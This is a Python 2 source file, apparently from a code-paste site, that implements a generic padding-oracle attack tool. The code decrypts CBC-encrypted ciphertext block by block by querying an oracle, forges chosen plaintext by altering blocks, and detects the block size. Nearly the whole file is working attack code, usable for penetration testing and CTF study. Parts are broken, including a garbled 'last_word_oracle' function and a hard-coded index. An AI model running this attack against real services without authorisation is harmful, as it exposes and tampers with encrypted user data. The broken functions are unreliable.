padd0r.py 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344
  1. #!/usr/bin/python
  2. from base64 import b64encode, b64decode
  3. from copy import deepcopy
  4. import logging
  5. import random
  6. class Encoding:
  7. ''' Encoding Enum '''
  8. b64 = 1
  9. b64_web = 2
  10. hex = 3
  11. raw = 5
  12. class PaddingOracle(object):
  13. '''
  14. Generic code to attack padding oracles
  15. '''
  16. def __init__(self, ciphertext, BS=None, verbosity=1, encoding=Encoding.b64, oracle=None):
  17. # setup logging - default
  18. self.set_verbosity(verbosity)
  19. # init class variables
  20. self.encoding = encoding
  21. self.oracle_func = oracle
  22. self.analyse_func = None
  23. # encode the initial ciphertext
  24. self.ct = self.decode(ciphertext)
  25. # if no BS is give, determine the BS
  26. if BS == None:
  27. self.BS = self.get_blocksize(self.ct)
  28. self.num_blocks = self._ct_init()
  29. self.blocks = self.split_blocks(self.ct)
  30. self._outmode = "hex"
  31. # backup it_blocks and pt_blocks as dict {index:block} - for changing blocks
  32. self.it_blocks = {}
  33. self.pt_blocks = {}
  34. '''
  35. Used to decode the ciphertext, using the class variable self.encoding,
  36. internally the ciphertext is processed as string (bytes)
  37. '''
  38. def decode(self, ciphertext):
  39. if self.encoding == Encoding.b64:
  40. ciphertext = b64decode(ciphertext)
  41. elif self.encoding == Encoding.hex:
  42. ciphertext = ciphertext.decode('hex')
  43. elif self.encoding == Encoding.b64_web:
  44. ciphertext = b64decode(ciphertext) #TODO: adjust to b64web_decoding
  45. return ciphertext
  46. '''
  47. Used to encode the ciphertext, using the class variable self.encoding,
  48. internally the ciphertext is processed as string (bytes) but returned
  49. in the same fashion as the input was
  50. '''
  51. def encode(self, ciphertext):
  52. if self.encoding == Encoding.b64:
  53. ciphertext = b64encode(ciphertext)
  54. elif self.encoding == Encoding.hex:
  55. ciphertext = ciphertext.encode('hex')
  56. elif self.encoding == Encoding.b64_web:
  57. ciphertext = b64encode(ciphertext) #TODO: adjust to b64web_decoding
  58. return ciphertext
  59. '''
  60. simple length checks and blockcount
  61. '''
  62. def _ct_init(self):
  63. if len(self.ct) % self.BS != 0:
  64. raise Exception("[-] Length not a multiple of the BS")
  65. return len(self.ct) / self.BS
  66. '''
  67. splits the ciphertext in bs-large blocks
  68. '''
  69. def split_blocks(self, ct):
  70. return [bytearray(ct[i:i+self.BS]) for i in xrange(0, len(ct), self.BS)]
  71. '''
  72. merges the blocks together and return ciphertext
  73. '''
  74. def merge_blocks(self, blocks):
  75. return "".join([str(b) for b in blocks])
  76. def last_word_oracle(self, y):
  77. r = [chr(random.randint(0x00, 0xff)) for i in range(self.BS)]
  78. r_b = r[-1]
  79. for i in range(256):
  80. r[-1] = chr(ord(r_b) ^ i)
  81. y = ''.join(r)
  82. # ask the oracle
  83. if self.oracle_func(r + y):
  84. # padding is 0x01
  85. r_b = r_b ^ i
  86. # for n = b down to 2
  87. for n in range(self.BS, 1, -1):
  88. r = r[self.BS-n] * r[self.BS-2]
  89. '''
  90. bool oracle(ct) - should return True if ct is correct and False if padding error
  91. '''
  92. def crack_last_block(self, blocks):
  93. orig_blocks = deepcopy(blocks) # deepcopy for not referencing lists...
  94. pt_block = [0]*self.BS # plaintext block
  95. it_block = [0]*self.BS # intermidiate block
  96. orig_pre_ct = orig_blocks[-2]
  97. # only assigning the lists will reference to the original blocks-list!!
  98. pre_ct = blocks[-2] # second to last ct block - gets modified
  99. last_ct = blocks[-1] # last ct block
  100. real_padding = self.BS
  101. first_run = True
  102. # byte_index is counting backwards in the second-to-last block
  103. for byte_index in xrange(self.BS-1, -1, -1):
  104. padding = self.BS - byte_index
  105. # gets jumped over during the first run
  106. if byte_index < 15:
  107. for prev_byte_index in xrange(15, byte_index, -1):
  108. #print("[-] Adjusting byte @ offset %d [Padding: %x]" % (prev_byte_index, padding))
  109. pre_ct[prev_byte_index] = it_block[prev_byte_index] ^ padding
  110. for guess in xrange(256):
  111. # iterate the bytes @ byte_index position
  112. pre_ct[byte_index] = guess
  113. # ask the oracle
  114. #if oracle(merge_blocks(blocks)) and orig_pre_ct[byte_index] != guess:
  115. if self.oracle_func == None:
  116. raise Exception("[-] No Oracle function set!")
  117. if self.oracle_func(self.merge_blocks(blocks)):
  118. if guess == orig_pre_ct[byte_index] and padding < real_padding:
  119. continue
  120. pt_block[byte_index] = guess ^ padding ^ orig_pre_ct[byte_index]
  121. if first_run:
  122. real_padding = pt_block[byte_index]
  123. print('')
  124. first_run = False
  125. it_block[byte_index] = guess ^ padding
  126. logging.debug("[~] correct padding [{0}] with byte [{1}]\n\t-> it_byte = {0} ^ {1} = {3}\n\t-> pt_byte = it_byte ^ {2} = {4}\n".format(hex(padding),\
  127. hex(guess), hex(orig_pre_ct[byte_index]), hex(it_block[byte_index]),hex(pt_block[byte_index])))
  128. logging.debug("[+] Plaintext Block: {}".format(pt_block))
  129. break
  130. return it_block, pt_block
  131. '''
  132. used to print the ct blocks as hexdump
  133. '''
  134. def print_ct_blocks(self):
  135. print("[~] ciphertext as blockwise hexdump")
  136. ch_arr = self.bytes_to_string(reduce(lambda x, y: x+y, [list(ba) for ba in self.blocks]))
  137. print(self.hexdump(ch_arr, length=self.BS))
  138. '''
  139. convert a byte-list to a string
  140. '''
  141. def bytes_to_string(self, inp):
  142. return "".join([chr(p) for p in inp])
  143. '''
  144. change block @ index to a new block
  145. '''
  146. def change_block(self, new_plaintext):
  147. if len(new_plaintext) % self.BS != 0:
  148. raise Exception("[-] new plaintext should be a multiple of the blocksize")
  149. # Startin at Block 2 (index 1)
  150. new_blocks = self.split_blocks(new_plaintext)
  151. num_new_blocks = len(new_blocks)
  152. local_blocks = deepcopy(self.blocks)
  153. local_it_blocks = deepcopy(self.it_blocks)
  154. if num_new_blocks > len(local_blocks):
  155. raise Exception("[-] Plaintext is too long")
  156. for idx in range(num_new_blocks-1, 0, -1):
  157. logging.info("[*] changing index %d" % idx)
  158. it_block = self.get_it_block(idx, local_blocks)
  159. local_blocks[idx-1] = ''.join(map(lambda (x,y): chr(x^y), zip(new_blocks[idx], it_block)))
  160. x = self.merge_blocks(local_blocks)
  161. # adjust all the previous blocks (iv block_0 = IV, the complete message can be changed)
  162. return self.encode(x)
  163. '''
  164. used to crack the block @ index
  165. index := {0, 1, .., .., len-1}
  166. '''
  167. def get_it_block(self, index, ct_blocks):
  168. if not index:
  169. raise Exception("[-] Cannot decrypt the first block")
  170. local_blocks = deepcopy(ct_blocks)
  171. it_block, pt_block = self.crack_last_block(local_blocks[:index+1])
  172. return it_block
  173. '''
  174. used to crack the block @ index
  175. index := {0, 1, .., .., len-1}
  176. '''
  177. def crack_block(self, index):
  178. if not index:
  179. raise Exception("[-] Cannot decrypt the first block")
  180. local_blocks = deepcopy(self.blocks)
  181. it_block, pt_block = self.crack_last_block(local_blocks[:index+1])
  182. self.it_blocks[index] = it_block
  183. self.pt_blocks[index] = pt_block
  184. logging.info("\n[+] decrypted block [%d]\n" %(index))
  185. self._output(pt_block)
  186. '''
  187. universal func. to output plaintext
  188. '''
  189. def _output(self, pt_block):
  190. print("-----[ Plaintext ]-----")
  191. if self._outmode == "hex":
  192. print(self.hexdump(self.bytes_to_string(pt_block)))
  193. elif self._outmode == "str":
  194. print(self.bytes_to_string(pt_block))
  195. '''
  196. set the output mode for printing the plaintext
  197. '''
  198. def set_output(self, mode):
  199. self._outmode = mode
  200. '''
  201. verbosity for different output
  202. 0 = no output
  203. 1 = INFO
  204. 2 = DEBUG
  205. '''
  206. def set_verbosity(self, level):
  207. levels = {
  208. 0:logging.WARNING,
  209. 1:logging.INFO,
  210. 2:logging.DEBUG
  211. }
  212. logging.basicConfig(format='%(message)s', level=levels.get(level, logging.INFO))
  213. '''
  214. crack all blocks of the ciphertext (except first one)
  215. '''
  216. def decrypt_all_blocks(self):
  217. orig_blocks = deepcopy(self.blocks)
  218. local_blocks = deepcopy(self.blocks)
  219. num_blocks = len(self.blocks)
  220. pt_blocks = []
  221. logging.info("[*] decrypting all %d blocks" % num_blocks)
  222. for idx in xrange(num_blocks, 1, -1):
  223. logging.info("\n-----[ decrypting block %d ]-----\n" %(idx))
  224. it_block, pt_block = self.crack_last_block(local_blocks[:idx])
  225. pt_blocks.append(pt_block)
  226. local_blocks = deepcopy(orig_blocks)
  227. self.it_blocks[idx-1] = it_block
  228. self.pt_blocks[idx-1] = pt_block
  229. pt_blocks = pt_blocks[::-1]
  230. pt = reduce(lambda x, y: x+y, pt_blocks)
  231. logging.info("\n[+] decrypted all the blocks\n")
  232. self._output(pt)
  233. '''
  234. get the blocksize via the oracle - described in 'Practical Padding Oracle Attacks', by T. Duong & J. Rizzo
  235. Works like following:
  236. '''
  237. def get_blocksize(self, ciphertext):
  238. if self.oracle_func == None:
  239. raise Exception('Error: Not oracle set!')
  240. if len(ciphertext) % 16 == 8:
  241. return 8
  242. c = ciphertext[-16:]
  243. if self.oracle_func(ciphertext + c) == True:
  244. return 8
  245. return 16
  246. def hexdump(self, src, length=16):
  247. ''' https://gist.github.com/sbz/1080258 '''
  248. src = str(src)
  249. FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
  250. lines = []
  251. for c in xrange(0, len(src), length):
  252. chars = src[c:c+length]
  253. hex = ' '.join(["%02x" % ord(x) for x in chars])
  254. printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
  255. lines.append("%04x %-*s %s\n" % (c, length*3, hex, printable))
  256. return ''.join(lines)